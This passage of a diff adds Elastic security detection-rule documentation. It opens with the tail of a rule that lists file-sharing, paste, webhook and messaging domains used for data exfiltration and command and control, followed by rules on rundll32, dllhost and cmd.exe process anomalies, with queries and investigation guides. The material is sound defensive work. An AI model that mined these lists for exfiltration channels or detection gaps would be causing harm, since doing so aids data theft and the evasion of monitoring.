paste.nrecom.net or + zerobin.net or + controlc.com or + requestbin.net or + api.slack.com or + slack-redir.net or + slack-files.com or + cdn.discordapp.com or + discordapp.com or + discord.com or + apis.azureedge.net or + cdn.sql.gg or + ?.top4top.io or + top4top.io or + uplooder.net or + *.cdnmegafiles.com or + transfer.sh or + updates.peer2profit.com or + api.telegram.org or + t.me or + meacz.gq or + rwrd.org or + *.publicvm.com or + *.blogspot.com or + api.mylnikov.org or + script.google.com or + script.googleusercontent.com or + paste4btc.com or + workupload.com or + temp.sh or + filetransfer.io or + gofile.io or + store?.gofile.io or + tiny.one or + api.notion.com or + *.sharepoint.com or + *upload.ee or + bit.ly or + t.ly or + cutt.ly or + mbasic.facebook.com or + api.gofile.io or + file.io or + api.anonfiles.com or + api.trello.com or + gist.githubusercontent.com or + dpaste.com or + *azurewebsites.net or + *.zulipchat.com or + *.4shared.com or + filecloud.me or + i.ibb.co or + files.catbox.moe or + *.getmyip.com or + mockbin.org or + webhook.site or + run.mocky.io or + *infinityfreeapp.com or + free.keep.sh or + tinyurl.com or + ftpupload.net or + lobfile.com or + *.ngrok-free.app or + myexternalip.com or + yandex.ru or + *.yandex.ru or + *.aternos.me or + cdn??.space or + *.pcloud.com or + mediafire.zip or + urlz.fr or + rentry.co or + *.b-cdn.net or + pastecode.dev or + i.imgur.com or + the.earth.li or + *.trycloudflare.com or + *.blob.core.windows.net or + *.blob.storage.azure.net +) and +not (destination.domain : (*.sharepoint.com or *.azurewebsites.net or "onedrive.live.com" or *.b-cdn.net or api.onedrive.com or "drive.google.com" or *.blogspot.com or *.blob.core.windows.net or *.blob.storage.azure.net) and process.code_signature.subject_name:(*Microsoft* or "Software Signing" or "Apple Mac OS Application Signing" or *VMware*) and process.code_signature.trusted:true) and +not (process.code_signature.subject_name:(*Mozilla* or *Google* or *Brave* or *Opera* or "Software Signing" or "macOS Software Signing" or *Zscaler* or *Browser*) and process.code_signature.trusted:true) and +not (destination.domain :("discord.com" or cdn.discordapp.com or "content.dropboxapi.com" or "dl.dropboxusercontent.com") and process.code_signature.subject_name :(*Discord* or *Dropbox*) and process.code_signature.trusted:true) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Technique: +** Name: Web Service +** ID: T1102 +** Reference URL: https://attack.mitre.org/techniques/T1102/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Sub-technique: +** Name: Exfiltration to Cloud Storage +** ID: T1567.002 +** Reference URL: https://attack.mitre.org/techniques/T1567/002/ +* Sub-technique: +** Name: Exfiltration to Text Storage Sites +** ID: T1567.003 +** Reference URL: https://attack.mitre.org/techniques/T1567/003/ +* Sub-technique: +** Name: Exfiltration Over Webhook +** ID: T1567.004 +** Reference URL: https://attack.mitre.org/techniques/T1567/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-network-connection-via-dllhost.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-network-connection-via-dllhost.asciidoc new file mode 100644 index 0000000000..35834373f9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-network-connection-via-dllhost.asciidoc @@ -0,0 +1,160 @@ +[[prebuilt-rule-8-19-34-unusual-network-connection-via-dllhost]] +=== Unusual Network Connection via DllHost + +Identifies unusual instances of dllhost.exe making outbound network connections. This may indicate adversarial Command and Control activity. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* +* logs-windows.sysmon_operational-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/ +* https://www.volexity.com/blog/2021/05/27/suspected-apt29-operation-launches-election-fraud-themed-phishing-campaigns/ +* https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide +* Data Source: SentinelOne +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Network Connection via DllHost* + + +Dllhost.exe is a legitimate Windows process used to host DLL services. Adversaries may exploit it for stealthy command and control by initiating unauthorized network connections. The detection rule identifies suspicious dllhost.exe activity by monitoring outbound connections to non-local IPs, which may indicate malicious intent. This approach helps in identifying potential threats by focusing on unusual network behaviors associated with this process. + + +*Possible investigation steps* + + +- Review the process start event for dllhost.exe to confirm its legitimacy by checking the process arguments and the parent process that initiated it. +- Analyze the destination IP addresses involved in the network connections to determine if they are known malicious or suspicious entities, using threat intelligence sources. +- Check the timeline of events to see if there are any other unusual activities on the host around the time of the dllhost.exe network connection, such as other process executions or file modifications. +- Investigate the user account associated with the dllhost.exe process to determine if there are any signs of compromise or unauthorized access. +- Examine the network traffic patterns from the host to identify any other unusual outbound connections that might indicate broader malicious activity. + + +*False positive analysis* + + +- Legitimate software updates or system maintenance tasks may cause dllhost.exe to make outbound connections. Users can monitor and whitelist known update servers to prevent these from being flagged. +- Certain enterprise applications might use dllhost.exe for legitimate network communications. Identify and document these applications, then create exceptions for their known IP addresses. +- Automated scripts or administrative tools that leverage dllhost.exe for network tasks can trigger false positives. Review and exclude these scripts or tools by specifying their associated IP ranges. +- Cloud-based services or virtual environments might route traffic through dllhost.exe. Verify these services and exclude their IP addresses from the detection rule to avoid unnecessary alerts. + + +*Response and remediation* + + +- Isolate the affected host from the network immediately to prevent further unauthorized communications and potential lateral movement. +- Terminate the suspicious dllhost.exe process to stop any ongoing malicious activity and prevent further outbound connections. +- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to identify and remove any additional malicious software or artifacts. +- Review and analyze the network logs to identify any other systems that may have been targeted or compromised, and apply similar containment measures if necessary. +- Restore the affected system from a known good backup to ensure that any potential backdoors or persistent threats are removed. +- Implement network segmentation to limit the ability of similar threats to spread across the network in the future. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional organizational measures are required. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/sysmon-event-3-setup[Sysmon Event ID 3 - Network Connection] + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.entity_id with maxspan=1m + [process where host.os.type == "windows" and event.type == "start" and process.name : "dllhost.exe" and process.args_count == 1] + [network where host.os.type == "windows" and process.name : "dllhost.exe" and + not cidrmatch(destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", + "192.0.0.0/29", "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", + "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", + "192.175.48.0/24", "198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10", + "FF00::/8")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-network-connection-via-rundll32.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-network-connection-via-rundll32.asciidoc new file mode 100644 index 0000000000..a8ddfeed05 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-network-connection-via-rundll32.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-34-unusual-network-connection-via-rundll32]] +=== Unusual Network Connection via RunDLL32 + +Identifies unusual instances of rundll32.exe making outbound network connections. This may indicate adversarial Command and Control activity. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* +* logs-windows.sysmon_operational-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml +* https://redcanary.com/threat-detection-report/techniques/rundll32/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual Network Connection via RunDLL32* + + +RunDLL32 is a built-in Windows utility and also a vital component used by the operating system itself. The functionality provided by RunDLL32 to execute Dynamic Link Libraries (DLLs) is widely abused by attackers, because it makes it hard to differentiate malicious activity from normal operations. + +This rule looks for external network connections established using RunDLL32 when the utility is being executed with no arguments, which can potentially indicate command and control activity. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate the target host that RunDLL32 is communicating with. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. +- Identify the target computer and its role in the IT environment. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Review the privileges assigned to the user to ensure that the least privilege principle is being followed. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/sysmon-event-3-setup[Sysmon Event ID 3 - Network Connection] + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.entity_id with maxspan=1m + [process where host.os.type == "windows" and event.type == "start" and process.name : "rundll32.exe" and + ( + process.args_count == 1 and + + /* Excludes bug where a missing closing quote sets args_count to 1 despite extra args */ + not process.command_line regex~ """\".*\.exe[^\"].*""" + )] + [network where host.os.type == "windows" and process.name : "rundll32.exe" and + not cidrmatch(destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", + "192.0.0.0/29", "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", + "192.0.2.0/24", "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", + "100.64.0.0/10", "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", + "FE80::/10", "FF00::/8")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-parent-child-relationship.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-parent-child-relationship.asciidoc new file mode 100644 index 0000000000..c24af6dd73 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-parent-child-relationship.asciidoc @@ -0,0 +1,227 @@ +[[prebuilt-rule-8-19-34-unusual-parent-child-relationship]] +=== Unusual Parent-Child Relationship + +Identifies Windows programs run from unexpected parent processes. This could indicate masquerading or other strange activity on a system. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/sbousseaden/Slides/blob/master/Hunting%20MindMaps/PNG/Windows%20Processes%20TH.map.png +* https://www.andreafortuna.org/2017/06/15/standard-windows-processes-a-brief-reference/ +* https://www.elastic.co/security-labs/elastic-security-labs-steps-through-the-r77-rootkit + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Resources: Osquery + +*Version*: 325 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual Parent-Child Relationship* + + +Windows internal/system processes have some characteristics that can be used to spot suspicious activities. One of these characteristics is parent-child relationships. These relationships can be used to baseline the typical behavior of the system and then alert on occurrences that don't comply with the baseline. + +This rule uses this information to spot suspicious parent and child processes. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, and any spawned child processes. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and +process.parent.name != null and process.parent.executable like ("?:\\*", "\\Device\\*") and + ( + /* suspicious parent processes */ + (process.name:"autochk.exe" and not process.parent.name:"smss.exe") or + (process.name:("fontdrvhost.exe", "dwm.exe") and not process.parent.name:("wininit.exe", "winlogon.exe", "dwm.exe")) or + (process.name:("consent.exe", "RuntimeBroker.exe", "TiWorker.exe") and not process.parent.name:("svchost.exe", "Workplace Container Helper.exe")) or + (process.name:"SearchIndexer.exe" and not process.parent.name:"services.exe") or + (process.name:"SearchProtocolHost.exe" and not process.parent.name:("SearchIndexer.exe", "dllhost.exe")) or + (process.name:"dllhost.exe" and not process.parent.name:("services.exe", "svchost.exe")) or + (process.name:"smss.exe" and not process.parent.name:"System") or + (process.name:"csrss.exe" and not process.parent.name:("smss.exe", "svchost.exe")) or + (process.name:"wininit.exe" and not process.parent.name:"smss.exe") or + (process.name:"winlogon.exe" and not process.parent.name:"smss.exe") or + (process.name:("lsass.exe", "LsaIso.exe") and not process.parent.name:"wininit.exe") or + (process.name:"LogonUI.exe" and not process.parent.name:("wininit.exe", "winlogon.exe")) or + (process.name:"services.exe" and not process.parent.name:"wininit.exe") or + (process.name:"svchost.exe" and not process.parent.name:("MsMpEng.exe", "services.exe")) or + (process.name:"spoolsv.exe" and not process.parent.name:("services.exe", "Workplace Starter.exe")) or + (process.name:"taskhost.exe" and not process.parent.name:("services.exe", "svchost.exe", "ngentask.exe")) or + (process.name:"taskhostw.exe" and not process.parent.name:("services.exe", "svchost.exe")) or + (process.name:"userinit.exe" and not process.parent.name:("dwm.exe", "winlogon.exe", "KUsrInit.exe")) or + (process.name:("wmiprvse.exe", "wsmprovhost.exe", "winrshost.exe") and not process.parent.name:"svchost.exe") or + /* suspicious child processes */ + (process.parent.name:("SearchProtocolHost.exe", "taskhost.exe", "csrss.exe") and not process.name:("werfault.exe", "wermgr.exe", "WerFaultSecure.exe", "conhost.exe", "ngentask.exe", "SearchProtocolHost.exe")) or + (process.parent.name:"autochk.exe" and not process.name:("chkdsk.exe", "doskey.exe", "WerFault.exe")) or + (process.parent.name:"smss.exe" and not process.name:("autochk.exe", "csrss.exe", "wininit.exe", "winlogon.exe", "setupcl.exe", "WerFault.exe", "wpbbin.exe", "PvsVmBoot.exe", "SophosNA.exe", "omnissa-ic-nga.exe", "vmware-svi-nga.exe", "icarus_rvrt.exe", "poqexec.exe", "QcSkExt*.exe")) or + (process.parent.name:"wermgr.exe" and not process.name:("WerFaultSecure.exe", "WerFault.exe") and + not (process.name:"rundll32.exe" and process.command_line : "*WerConCpl.dll*LaunchErcApp*")) or + (process.parent.name:"conhost.exe" and not process.name:("mscorsvw.exe", "wermgr.exe", "WerFault.exe", "WerFaultSecure.exe")) + ) and + /* exclude self-spawns */ + not startswith~(process.parent.name, process.name) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ +* Sub-technique: +** Name: Process Hollowing +** ID: T1055.012 +** Reference URL: https://attack.mitre.org/techniques/T1055/012/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Break Process Trees +** ID: T1036.009 +** Reference URL: https://attack.mitre.org/techniques/T1036/009/ +* Technique: +** Name: Access Token Manipulation +** ID: T1134 +** Reference URL: https://attack.mitre.org/techniques/T1134/ +* Sub-technique: +** Name: Parent PID Spoofing +** ID: T1134.004 +** Reference URL: https://attack.mitre.org/techniques/T1134/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-parent-process-for-cmd-exe.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-parent-process-for-cmd-exe.asciidoc new file mode 100644 index 0000000000..95708472ff --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-parent-process-for-cmd-exe.asciidoc @@ -0,0 +1,171 @@ +[[prebuilt-rule-8-19-34-unusual-parent-process-for-cmd-exe]] +=== Unusual Parent Process for cmd.exe + +Identifies a suspicious parent child process relationship with cmd.exe descending from an unusual process. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-sentinel_one_cloud_funnel.* +* logs-m365_defender.event-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 419 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Parent Process for cmd.exe* + + +Cmd.exe is a command-line interpreter on Windows systems, often used for legitimate administrative tasks. However, adversaries can exploit it by launching it from atypical parent processes to execute malicious commands stealthily. The detection rule identifies such anomalies by flagging cmd.exe instances spawned by uncommon parent processes, which may indicate unauthorized or suspicious activity, thus aiding in early threat detection. + + +*Possible investigation steps* + + +- Review the process tree to understand the context in which cmd.exe was launched, focusing on the parent process identified in the alert. +- Investigate the parent process by examining its command-line arguments, start time, and any associated network activity to determine if it is behaving anomalously. +- Check the historical behavior of the parent process to see if it has previously spawned cmd.exe or if this is an unusual occurrence. +- Analyze any child processes spawned by the cmd.exe instance to identify potentially malicious activities or commands executed. +- Correlate the alert with other security events or logs from the same host to identify any related suspicious activities or patterns. +- Assess the user account associated with the cmd.exe process to determine if it has been compromised or is exhibiting unusual behavior. +- Consult threat intelligence sources to see if the parent process or its behavior is associated with known malware or attack techniques. + + +*False positive analysis* + + +- Cmd.exe instances spawned by legitimate system maintenance tools like Windows Update or system indexing services can trigger false positives. Users can create exceptions for processes like SearchIndexer.exe or WUDFHost.exe if they are verified as part of routine system operations. +- Software updates or installations that use cmd.exe for scripting purposes might be flagged. If GoogleUpdate.exe or FlashPlayerUpdateService.exe are known to be part of regular update processes, consider excluding them after confirming their legitimacy. +- Administrative scripts or tools that are scheduled to run via Task Scheduler might use cmd.exe and be flagged. If taskhostw.exe is a known parent process for these tasks, verify and exclude it to prevent unnecessary alerts. +- Certain third-party applications might use cmd.exe for legitimate background tasks. If applications like jusched.exe or jucheck.exe are identified as part of trusted software, they can be excluded after validation. +- System recovery or diagnostic tools that interact with cmd.exe could be misidentified. If WerFault.exe or wermgr.exe are part of these processes, ensure they are legitimate and exclude them accordingly. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement by the adversary. +- Terminate the suspicious cmd.exe process and its parent process to halt any ongoing malicious activity. +- Conduct a thorough review of the affected system's recent activity logs to identify any unauthorized changes or additional compromised processes. +- Restore any altered or deleted files from a known good backup to ensure system integrity. +- Update and run a full antivirus and anti-malware scan on the affected system to detect and remove any additional threats. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for cmd.exe and its parent processes to detect similar anomalies in the future. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : "cmd.exe" and + process.parent.name : ("lsass.exe", + "csrss.exe", + "epad.exe", + "regsvr32.exe", + "dllhost.exe", + "LogonUI.exe", + "wermgr.exe", + "spoolsv.exe", + "jucheck.exe", + "jusched.exe", + "ctfmon.exe", + "taskhostw.exe", + "GoogleUpdate.exe", + "sppsvc.exe", + "sihost.exe", + "slui.exe", + "SIHClient.exe", + "SearchIndexer.exe", + "SearchProtocolHost.exe", + "FlashPlayerUpdateService.exe", + "WerFault.exe", + "WUDFHost.exe", + "unsecapp.exe", + "wlanext.exe" ) and + not (process.parent.name : "dllhost.exe" and process.parent.args : "/Processid:{CA8C87C1-929D-45BA-94DB-EF8E6CB346AD}") 